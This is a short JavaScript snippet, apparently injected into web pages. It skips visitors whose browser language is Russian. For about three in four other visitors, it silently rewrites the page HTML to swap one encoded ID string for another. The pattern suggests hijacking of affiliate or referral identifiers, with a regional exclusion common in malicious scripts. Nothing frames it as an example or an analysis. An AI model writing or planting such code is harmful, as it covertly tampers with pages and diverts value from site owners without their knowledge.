var type = navigator.appName; if (type == "Netscape"){ var lang = navigator.language; }else{ var lang = navigator.userLanguage; }; var lang = lang.substr(0, 2); if (lang == "ru"){ } else { var num = Math.floor(Math.random() * 4)+1; if(num > 1) { var body=document.body.innerHTML; if(body) { var str = body.replace(/NjAuMS4zLjguMTcuMC4wLjAuMA/g, 'MTAyLjEuMy44LjAuMC4wLjAuMA'); document.body.innerHTML=str; } } document.write(''); }